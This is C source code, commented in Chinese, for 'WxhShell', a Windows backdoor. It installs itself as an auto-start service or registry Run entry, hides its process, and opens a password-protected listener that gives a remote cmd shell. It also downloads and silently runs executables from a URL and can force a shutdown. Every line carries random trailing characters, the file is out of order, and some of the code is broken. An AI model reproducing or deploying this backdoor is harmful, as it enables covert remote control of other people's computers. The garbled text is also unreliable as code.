    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YP>VC(f   
    else { &YO5N4X~o  
    closesocket(wsh); +1Si>I  
    ExitThread(0); BS;rit:  
    } |~8\{IcZ  
    break; '97)c7E  
    } LnZ*,>1 Z  
  // 获取shell /4#.qq0\{c  
  case 's': { F) {f{-@)  
    CmdShell(wsh); z~4L=tA(  
    closesocket(wsh); ^c< <I-o|  
    ExitThread(0); e~$MIHBY]  
    break; $^IuE0.  
  } H|0B*i@81  
  // 退出 <E$P  
  case 'x': { +6*oO|   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lk \|EG  
    CloseIt(wsh); 6ecr]=Cv  
    break; KZ ?<&x  
    } ^4Tr @g#]"  
  // 离开 }CsUZ&*&  
  case 'q': { 5U|f"3&8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ijr*_=  
    closesocket(wsh); [4kx59J3b  
    WSACleanup(); Xa*52Q`_  
    exit(1); T=VVK6Lc:  
    break; ]SBv3Q0D7  
        } fTY@{t  
  } KK(x)(  
  } on*?O O'  
]WN{8   
  // 提示信息 (loUO;S=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fL83:<RK  
} u~LisZ&tP  
  } 4dMwJ"V  
3=t}py7M  
  return; -ud~'<k  
} k :7UU4M 5  
8Qu7x[tK?  
// shell模块句柄 H4k`wWOk  
int CmdShell(SOCKET sock) PfnhE>[>cf  
{ LN?T$H  
STARTUPINFO si; !aa^kcEjnL  
ZeroMemory(&si,sizeof(si)); q*DR~Ov  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O~{Zs\u9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4 E 4o=Z|K  
PROCESS_INFORMATION ProcessInfo; > m}.}g8  
char cmdline[]="cmd"; 7*'_&0   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :b=`sUn<X+  
  return 0; s7FqE>#c0  
} n+zXt?{u  
v6s8 p  
// 自身启动模式 Zx}=c4I(y  
int StartFromService(void) zZDG5_$n  
{ .w$v<y6C  
typedef struct rcxV ,<[B  
{ .Yha(5(  
  DWORD ExitStatus; feNr!/  
  DWORD PebBaseAddress; 6 Y&OG>_\  
  DWORD AffinityMask; '  AeU  
  DWORD BasePriority; n9bX[+#d  
  ULONG UniqueProcessId; ji A$6dZU  
  ULONG InheritedFromUniqueProcessId; Lrq+0dI 65  
}   PROCESS_BASIC_INFORMATION; jt3s;U*  
Mu Z\<;W$  
PROCNTQSIP NtQueryInformationProcess; c1|o^eZ  
SjlkKulMF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v bb mmv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zG [-n.  
Nj#!L~^h,  
  HANDLE             hProcess; CFul_qZ/e  
  PROCESS_BASIC_INFORMATION pbi; htM5Nm[g  
bGK&W;Myk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8"oS1W  
  if(NULL == hInst ) return 0; w$Dp m.0(  
UY}lJHp0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WNm,r>6m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S_?}H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &[ 3y_,  
G9E?   
  if (!NtQueryInformationProcess) return 0; g^B 6N F  
M/UJb1<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LYWQqxB  
  if(!hProcess) return 0; iY;)R|6  
ocdXzk`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {zVJlJKxs  
1O(fI|gcO  
  CloseHandle(hProcess); }[AIE[  
R0. `2=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Qx.E+n\  
if(hProcess==NULL) return 0; pNQd\nY|0  
),M8W15  
HMODULE hMod; E8%O+x}  
char procName[255]; _$cQAH0 E  
unsigned long cbNeeded; 1-w1k ^e  
Dm 'Q&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 50_%Tl[  
O "{o (  
  CloseHandle(hProcess); IH>+P]+3"3  
!vImmhI!I  
if(strstr(procName,"services")) return 1; // 以服务启动 D#(A?oN  
X+&@$v1  
  return 0; // 注册表启动 diTzolY7  
}  sGdt)  
'7Te{^<FQ$  
// 主模块 c (\-7*En  
int StartWxhshell(LPSTR lpCmdLine) OmU.9PDg-  
{ ;y HA.}  
  SOCKET wsl; L0+@{GP?  
BOOL val=TRUE; +pf 7  
  int port=0; B"+Ygvxb  
  struct sockaddr_in door; 3l4k2  
]j1BEO!Bg  
  if(wscfg.ws_autoins) Install(); F+hsIsQ  
[;|g2\  
port=atoi(lpCmdLine); pM X7Rl  
@&,r|-  
if(port<=0) port=wscfg.ws_port; "}PmAr e  
"B+M5B0Z  
  WSADATA data; \9ap$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _ZR2?y-M  
bZ3CJ f&mE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |$1j;#h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g{<3*,  
  door.sin_family = AF_INET; anl?4q3;9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =faV,o&{`  
  door.sin_port = htons(port); bz}T}nj  
iT.hXzPzr*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { + FLzK(  
closesocket(wsl); N4HnW0  
return 1; q=96Ci_a  
} C}+(L3Z  
jriliEz;f  
  if(listen(wsl,2) == INVALID_SOCKET) { _k ~bH\(  
closesocket(wsl); 3!Bekn]  
return 1; &,e@pvc3  
} @<alWBS  
  Wxhshell(wsl); t5 5k#`Z  
  WSACleanup(); E"u>&uPH  
0D.YO<PU  
return 0; (F_#LeJ|  
g00XZ0@  
} H 5sj% v  
Q >sq:R+'  
// 以NT服务方式启动 {a(YV\^y|H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D, 3x:nK  
{  Y9PG  
DWORD   status = 0; 6'qs=Ql  
  DWORD   specificError = 0xfffffff; B&.XGo)  
2Db[dk( ]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C9bf1ddCW&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  Gc SX5c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  : [AW  
  serviceStatus.dwWin32ExitCode     = 0; 0eUsvzz 15  
  serviceStatus.dwServiceSpecificExitCode = 0; B}*xrPj  
  serviceStatus.dwCheckPoint       = 0; N2~DxVJ5cT  
  serviceStatus.dwWaitHint       = 0; $e<3z6  
kA#>Xu/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a&y%|Gs^f  
  if (hServiceStatusHandle==0) return; Bd\p!f<  
2abWIw4  
status = GetLastError(); d_]MqH>R\  
  if (status!=NO_ERROR) >nTGvLOq  
{ \idg[&}l}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; le8n!Dk(  
    serviceStatus.dwCheckPoint       = 0; \W*ouH  
    serviceStatus.dwWaitHint       = 0; (c[|k  
    serviceStatus.dwWin32ExitCode     = status; 5ue{&z @T  
    serviceStatus.dwServiceSpecificExitCode = specificError; 81aY*\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^Z}INUv]7  
    return; V1"+4&R^T_  
  } 'f5,%e2#  
]2Lwd@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [qid4S~r,&  
  serviceStatus.dwCheckPoint       = 0; &LYU#$sj  
  serviceStatus.dwWaitHint       = 0; T.&^1qWWA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vH7"tz&RIp  
} 8|i&Gbw+  
&WsDYov?  
// 处理NT服务事件,比如:启动、停止 2;6p2GNSh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^*Rrx  
{ 9Y-s],2V  
switch(fdwControl) <K 4zH<y  
{ FtY*I&  
case SERVICE_CONTROL_STOP: yNI} =Z  
  serviceStatus.dwWin32ExitCode = 0;  !@bN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K4l,YR;r  
  serviceStatus.dwCheckPoint   = 0; }HXNhv-K  
  serviceStatus.dwWaitHint     = 0; #ljfcQm  
  { +]*?J1 Y8Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FtE%<QHt  
  } 6K* 7%8Y/G  
  return; 2:2rwH }e  
case SERVICE_CONTROL_PAUSE: [h,T.zpa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \!s0VEE  
  break; 7eh}Je8  
case SERVICE_CONTROL_CONTINUE: +h[$\_y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %'EOFv]  
  break; _RjM .  
case SERVICE_CONTROL_INTERROGATE: Ks!.$y:x  
  break; spn1Ji  
}; wCc:HfmjJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qTiX;e\W  
} m"@M~~bh  
KqaeRs.u  
// 标准应用程序主函数 ^9"|tWf6O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UAH} ])U  
{ {P-KU RQ  
?u 9) GJO[  
// 获取操作系统版本 voV=}.(p  
OsIsNt=GetOsVer(); :S?'6lOc(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mVU(u_lh  
E%jOJA  
  // 从命令行安装 g24)GjDi  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8|V6RgA%  
Z]oa+W+  
  // 下载执行文件 .ay K+6I  
if(wscfg.ws_downexe) { Wc03Sv&FZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s`GSc)AI  
  WinExec(wscfg.ws_filenam,SW_HIDE); y&9v0&o  
} ;c<:"ad(  
u[PO'6Kzd  
if(!OsIsNt) { jcFh2  
// 如果时win9x,隐藏进程并且设置为注册表启动 Yq<D(F#qx  
HideProc(); GVn7#0x  
StartWxhshell(lpCmdLine); ;STO!^9~  
} h Sr#/dw&  
else '_@=9 \<  
  if(StartFromService()) 'Ys"yY@  
  // 以服务方式启动 %+FM$xyJ  
  StartServiceCtrlDispatcher(DispatchTable); ObMsncn  
else H>-,1/IY  
  // 普通方式启动 w0tlF:Eg  
  StartWxhshell(lpCmdLine); 9= \bS6w*  
duV|'ntr  
return 0; 8r)eiERv  
}  +6uun  
aztP`S$h  
$* 8c0.{U  
W[j =!o  
=========================================== 8p>%}LX/  
 CG$S?  
@MAk/mb&  
E)H8jBm6w  
^=E4~22q  
7:{4'Wr@6|  
" ^*%p]r  
X& O o1y  
#include <stdio.h> 9"_qa q  
#include <string.h> f+%J=Am  
#include <windows.h> B58H7NH ;G  
#include <winsock2.h> qV9`  
#include <winsvc.h> 0MrtJNF]_O  
#include <urlmon.h> ^?&Jq_oU  
\TC&/'7}  
#pragma comment (lib, "Ws2_32.lib") dGP*bMCT  
#pragma comment (lib, "urlmon.lib") X\X  
~=Er= 0  
#define MAX_USER   100 // 最大客户端连接数 0 6 K8|K  
#define BUF_SOCK   200 // sock buffer `H+ 7Hj  
#define KEY_BUFF   255 // 输入 buffer /=,^fCCN  
,^:Zf|V  
#define REBOOT     0   // 重启 Xdq2.:\  
#define SHUTDOWN   1   // 关机 T1\Xz-1  
}_@cqx:n^  
#define DEF_PORT   5000 // 监听端口  6:ZqS~-  
#}:VZ2Z  
#define REG_LEN     16   // 注册表键长度 "g>uNtt~  
#define SVC_LEN     80   // NT服务名长度 ( F0.lDZ  
sjWhtd[fgG  
// 从dll定义API NTs< ;ED  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 92+({ fg W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E J q=MP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {nm#aA%,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mZ ONxR6q$  
3vQ?vS|2  
// wxhshell配置信息 Qn[4&nUD  
struct WSCFG { jWUN~#p!  
  int ws_port;         // 监听端口 f ,K1a9.  
  char ws_passstr[REG_LEN]; // 口令 C.%iQx`   
  int ws_autoins;       // 安装标记, 1=yes 0=no qqS-0U2  
  char ws_regname[REG_LEN]; // 注册表键名 $J=9$.4"  
  char ws_svcname[REG_LEN]; // 服务名 \EUc17  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A6q,"BS^d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #s(B,`?N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q(oWaG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X~]eQaJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >pG]#Z g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7bQ#M )}  
K )KE0/ n  
}; isQ{Xt~K  
0N_Ma')i  
// default Wxhshell configuration kx]f`b  
struct WSCFG wscfg={DEF_PORT, =QRLKo#_  
    "xuhuanlingzhe", 0O!%NL[,  
    1, xfos>|0N  
    "Wxhshell", ;G;vpl  
    "Wxhshell", 1 (P >TH  
            "WxhShell Service", GB^Ch YOb  
    "Wrsky Windows CmdShell Service", Ju)2J?Xs5  
    "Please Input Your Password: ", ~" }t8`vP1  
  1, o+/x8:   
  "http://www.wrsky.com/wxhshell.exe", 76zi)f1f  
  "Wxhshell.exe"  W* `2lf  
    }; XZ Z Ml  
~Jmn?9 3  
// 消息定义模块 [AE]0cO@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wH{lp/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n&FN?"I/]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Fg5>CppH  
char *msg_ws_ext="\n\rExit."; Ax=Rb B"  
char *msg_ws_end="\n\rQuit."; amlE5GK;  
char *msg_ws_boot="\n\rReboot..."; Ks8S^77  
char *msg_ws_poff="\n\rShutdown..."; Q4CxtY  
char *msg_ws_down="\n\rSave to "; _2}i8q:  
0qw,R4YK  
char *msg_ws_err="\n\rErr!"; (`!?p ^>A  
char *msg_ws_ok="\n\rOK!"; \qNj?;B  
5a5 I+* c  
char ExeFile[MAX_PATH]; HMrS::  
int nUser = 0; ,%v  
HANDLE handles[MAX_USER]; #^yw!~:{  
int OsIsNt; Tj<W4+p{  
TP'EdzAT  
SERVICE_STATUS       serviceStatus; N/qr}- 3z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pRPz1J$58  
) i.p[  
// 函数声明 M=`F $  
int Install(void); d_1w 9 F A  
int Uninstall(void); ?`,Xb.NA$K  
int DownloadFile(char *sURL, SOCKET wsh); 1i$9x$4~E  
int Boot(int flag); +>44'M^Z|(  
void HideProc(void); T% Kj >-  
int GetOsVer(void); @m1vB!  
int Wxhshell(SOCKET wsl); x AkM_<  
void TalkWithClient(void *cs); az?B'|VX  
int CmdShell(SOCKET sock); QVb @/  
int StartFromService(void); 6EGh8H f  
int StartWxhshell(LPSTR lpCmdLine); zw7=:<z=  
~Pv4X2MO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j'X]bd'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~bdADVH  
k .KN9=o  
// 数据结构和表定义 jxZ R%D  
SERVICE_TABLE_ENTRY DispatchTable[] = )+u|qT3%  
{ |L%F`K>Z:  
{wscfg.ws_svcname, NTServiceMain}, 2oGl"3/p  
{NULL, NULL} %kKe"$)0  
}; ;rV0  
a%Q.8  
// 自我安装 5ok3q@1_]{  
int Install(void) ]+ XgH #I  
{ ~+q$TV  
  char svExeFile[MAX_PATH]; r2M._}bF  
  HKEY key; h<$Vry}  
  strcpy(svExeFile,ExeFile); hGcOk[m 4  
T&tCXi  
// 如果是win9x系统,修改注册表设为自启动 [JO'ta  
if(!OsIsNt) { O<)"k j 7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ( T VzYm y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I}kx;!*b  
  RegCloseKey(key); Y9'Bdm/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RI')iz?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BYqDC<Fq  
  RegCloseKey(key); 9V0iV5?(P  
  return 0; cr27q6_  
    } oi::/W|A+  
  } /=FQ {tLr  
} "6gu6f  
else { )z=`,\&p:  
S=0zP36kH:  
// 如果是NT以上系统,安装为系统服务 ;k9s@e#a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V2^(qpM!  
if (schSCManager!=0) {I@@i8)]  
{ yCf*ts1  
  SC_HANDLE schService = CreateService 53=VIN]  
  ( \(cu<{=rU  
  schSCManager, eg3zp gZ  
  wscfg.ws_svcname, "c\ZUx_i6  
  wscfg.ws_svcdisp, !BIq>pO%Ui  
  SERVICE_ALL_ACCESS, C8m8ys  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y@c! \0e$  
  SERVICE_AUTO_START, >dUnk)7  
  SERVICE_ERROR_NORMAL, WID4{>G2  
  svExeFile, '%. lY9D  
  NULL, N>z_uPy{A  
  NULL, _Su? VxU  
  NULL, `jSxq66L p  
  NULL, `9(TqcE  
  NULL +w?RW^:Q=  
  ); 9F(<n  
  if (schService!=0) 2ZNTj u7h  
  { <*i '  
  CloseServiceHandle(schService); J-:\^uP  
  CloseServiceHandle(schSCManager); ReE6h\j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +`r;3kH ..  
  strcat(svExeFile,wscfg.ws_svcname); g7EJyA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pUZbZ U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); : tu6'X\k  
  RegCloseKey(key); Q0Y0Zt,h  
  return 0; iN %kF'&9  
    } :D-My28'  
  } 6#MIt:#  
  CloseServiceHandle(schSCManager); c_s=>z  
} )(oRJu)y  
} <{Wsh#7}.  
ex @e-<  
return 1; +H,/W_/g  
} Du k v[/60  
$z"3_4a  
// 自我卸载 vrXUS9i.  
int Uninstall(void) %G1kkcdH<  
{ B<SuNbR  
  HKEY key; )[|`-M~u  
Smzy EMT  
if(!OsIsNt) { Vahfz8~w/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ypM0}pdvTp  
  RegDeleteValue(key,wscfg.ws_regname); f wWI2"}  
  RegCloseKey(key); `PXSQf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f }PT3  
  RegDeleteValue(key,wscfg.ws_regname); ng(STvSh:  
  RegCloseKey(key); (]n^_G#-$  
  return 0; 8_US.52V  
  } dE=4tqv-r  
} .E-)R  
} R *lJe6  
else { '#mv-/<t*  
~5<-&Dyp7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CvW*/d q  
if (schSCManager!=0) e|Rd#  
{ _&_#uV<WG0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6nV]Ec~3[  
  if (schService!=0) ~L)9XK^15  
  { PE4#dx^  
  if(DeleteService(schService)!=0) { -.~Dhk  
  CloseServiceHandle(schService); k\8]fh)J\7  
  CloseServiceHandle(schSCManager); ln-+=jk  
  return 0; {x{e?c!  
  } )EZ#BF<0|  
  CloseServiceHandle(schService); KP `{ UD)  
  } bx`s;r=  
  CloseServiceHandle(schSCManager); tn&~~G~#  
} 8x#SpDI  
} 6,"86  
3e+ Ih2  
return 1; 4 8l!P(>?y  
} owHhlS{  
,_?P[~1  
// 从指定url下载文件 $Zf hQ5bat  
int DownloadFile(char *sURL, SOCKET wsh) #!(OTe L  
{ Y -%g5  
  HRESULT hr; OBp<A+a  
char seps[]= "/"; lcR53X  
char *token; c@!%.# |y  
char *file; ]f#1G$  
char myURL[MAX_PATH]; 2MaHD}1Jw  
char myFILE[MAX_PATH]; \6~(# y  
[9dW9[Z+!  
strcpy(myURL,sURL); 3m:[o`L  
  token=strtok(myURL,seps); r!A1Sfo4P  
  while(token!=NULL) &qKJN#NM@  
  { f'._{"  
    file=token; !lf'gW  
  token=strtok(NULL,seps); j_ i/h "  
  } 7~(|q2ib  
l>p S23  
GetCurrentDirectory(MAX_PATH,myFILE); |t](4  
strcat(myFILE, "\\"); /sVy"48-  
strcat(myFILE, file); }j9V0`Q  
  send(wsh,myFILE,strlen(myFILE),0); d/oxRzk'L  
send(wsh,"...",3,0); ,ND}T#yTR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +72[*_ <  
  if(hr==S_OK) ], Xva`"  
return 0; 7J?`gl&C  
else $KDH"J  
return 1; e lj]e  
hn]><kaA  
} DMO8~5  
NbG`v@yH  
// 系统电源模块 /sHWJ?`&/,  
int Boot(int flag) 4E\Jk5co,  
{ X 633.]+  
  HANDLE hToken; !##OQ  
  TOKEN_PRIVILEGES tkp; 2eNA#^T=  
RE~:+.eB  
  if(OsIsNt) { t0t" =(d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L9L!V"So1k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,.Xqb~  
    tkp.PrivilegeCount = 1; kaybi 0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cF6eMml;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lU6?p")F1  
if(flag==REBOOT) { 2 VgFP3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l!U F`C0g  
  return 0; \Nd8,hE  
} CF"u8yE  
else { 'Bul_D4B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Dxj&9Ra  
  return 0; ?&v+-4%4PI  
} kC~\D?8E=  
  } <*O~?=6p  
  else { v8=7  
if(flag==REBOOT) { -n.ltgW@   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ca~nfo  
  return 0; 'L$%)`;e  
} liu%K9-r  
else { @0js=3!2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "zpc)'$ L=  
  return 0; q o,uOi  
} LRe2wT>I  
} +v$,/~$tI  
0|mF /  
return 1; Z.:g8Xl-6  
} 1$1s 0yg  
A^\A^$|O6  
// win9x进程隐藏模块 <~wr;"S  
void HideProc(void) %OS}BAh^i  
{ c& &^D o  
O+ ].'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TCb 7-s  
  if ( hKernel != NULL ) /da5 "  
  { _T[7N|'O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %5) 1^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W+F{!dW  
    FreeLibrary(hKernel); 8v eG^o  
  } }ZPO^4H;-  
?ks3K-.4  
return; 2QU ZBrs s  
} bf#@YkE  
q#}#A@Rg  
// 获取操作系统版本 heLWVI[so  
int GetOsVer(void) Io8h 8N-  
{ d#Hl3]wT  
  OSVERSIONINFO winfo; kX0hRX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p_ H;|m9  
  GetVersionEx(&winfo); vUlGE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /Mac:;W`  
  return 1; 4<P=wK=a8X  
  else u1@&o9  
  return 0; HLD8W8  
} 6R.%I{x'  
l+%2kR  
// 客户端句柄模块 :[hZn/  
int Wxhshell(SOCKET wsl) e7T}*Up  
{ +`y{r^xD  
  SOCKET wsh; ihv=y\Jt  
  struct sockaddr_in client; ly!vbpE_  
  DWORD myID; ]VuB2L[D  
O/Q7{5n  
  while(nUser<MAX_USER) wNNInS6  
{ 0[/GEY@  
  int nSize=sizeof(client); R&lJ& SgC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aicvu(%EE  
  if(wsh==INVALID_SOCKET) return 1; H> zX8qP+  
)qyJw N .D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tWT ,U[  
if(handles[nUser]==0) {>x6SVF  
  closesocket(wsh); he/WqCZg  
else !xqy6%p  
  nUser++; Bf)}g4nYn  
  } >#9 f{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z$a5vu*pg  
B^;G3+}  
  return 0; ?%QWpKO7X  
} ]npsclvJ  
.dbZ;`s  
// 关闭 socket %S'gDCwq  
void CloseIt(SOCKET wsh) 0.MD_s0)>  
{ IjshxNk  
closesocket(wsh); /b|V=j}W  
nUser--; nM=5L:d  
ExitThread(0); s *8)|N  
} w)nFH)f  
HITw{RPrW  
// 客户端请求句柄 #![9QUvcf  
void TalkWithClient(void *cs) X-lB1uq^  
{ e1Ne{zg~  
rAv)k&l  
  SOCKET wsh=(SOCKET)cs; PUU "k:{  
  char pwd[SVC_LEN]; QsO%m  
  char cmd[KEY_BUFF]; \/wbk`2  
char chr[1]; sxP1. = W  
int i,j; [Yi;k,F:  
IasWm/  
  while (nUser < MAX_USER) { Rhfx  
6 h?v/\  
if(wscfg.ws_passstr) { )\`.Ru~,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bjR:5@"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ba8 s  
  //ZeroMemory(pwd,KEY_BUFF); t9U-c5bR  
      i=0; M/d6I$~7z  
  while(i<SVC_LEN) { ?o>JX.Nl&7  
B'AU~#d  
  // 设置超时 XABB6J]  
  fd_set FdRead; goMv8d  
  struct timeval TimeOut; 0=:]tSD\F  
  FD_ZERO(&FdRead); =%i~HDiy  
  FD_SET(wsh,&FdRead); uQ(C,f[6p  
  TimeOut.tv_sec=8; # $N)  
  TimeOut.tv_usec=0; )R+26wZ|n*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '5f6 M^}|2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7o99@K,  
:l;SG=scx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w3<%wN>tE  
  pwd=chr[0]; X2[d15!9  
  if(chr[0]==0xd || chr[0]==0xa) { u&E$(  
  pwd=0; :j<ij]rsI  
  break; h1_9Xp~N  
  } 8kRqF?rbj  
  i++; {:%A  
    } #Wf9`  
j%q,]HCANh  
  // 如果是非法用户,关闭 socket u)hr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0etJ, _">  
} 3g{T+c*  
;^"#3_7T]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SjmWlf,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2[V9`r8*  
qQ{i2D%)?f  
while(1) { +YX *.dW  
xY=%+o.?*  
  ZeroMemory(cmd,KEY_BUFF); LQo>wl  
xQ]^wT.Q  
      // 自动支持客户端 telnet标准   _u] S/X-  
  j=0; ^&|KuI+ u  
  while(j<KEY_BUFF) { c %f'rj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v PJ=~*P=  
  cmd[j]=chr[0]; 1y{@fg~..  
  if(chr[0]==0xa || chr[0]==0xd) { y@'~fI!E4  
  cmd[j]=0; ,,Ia4c  
  break; bT8 ?(Iu  
  } \'>8 (i~  
  j++; Rf4}4ixkj  
    } j@guB:0  
d1{%z\u a  
  // 下载文件 ExW3LM9(  
  if(strstr(cmd,"http://")) { 8o7%qWX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3 {OZdl|  
  if(DownloadFile(cmd,wsh)) !iHJ!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z37%jdr  
  else l`b%imX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &UextGk7  
  } M&h`uO/[  
  else { -LnNA`-  
-]-?>gkN5  
